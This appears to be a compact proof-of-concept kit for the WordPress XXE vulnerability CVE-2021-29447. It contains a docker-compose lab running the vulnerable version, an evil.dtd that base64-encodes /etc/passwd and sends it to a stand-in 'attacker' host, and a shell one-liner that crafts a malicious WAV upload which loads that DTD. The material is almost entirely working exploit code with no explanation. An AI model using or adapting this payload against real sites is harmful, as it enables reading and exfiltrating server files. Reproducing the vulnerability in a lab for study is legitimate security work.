WordPress XXE CVE-2021-29447

docker-compose.yml

version: '3.1'

services:

  wordpress:
    image: wordpress:5.6.2-php8.0-apache
    restart: always
    ports:
      - 80:80
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: exampleuser
      WORDPRESS_DB_PASSWORD: examplepass
      WORDPRESS_DB_NAME: exampledb
    volumes:
      - wordpress:/var/www/html

  db:
    image: mysql:5.7
    restart: always
    environment:
      MYSQL_DATABASE: exampledb
      MYSQL_USER: exampleuser
      MYSQL_PASSWORD: examplepass
      MYSQL_RANDOM_ROOT_PASSWORD: '1'
    volumes:
      - db:/var/lib/mysql

volumes:
  wordpress:
  db:

evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://attacker/?p=%file;'>" >

gen_wave.sh

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://attacker/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav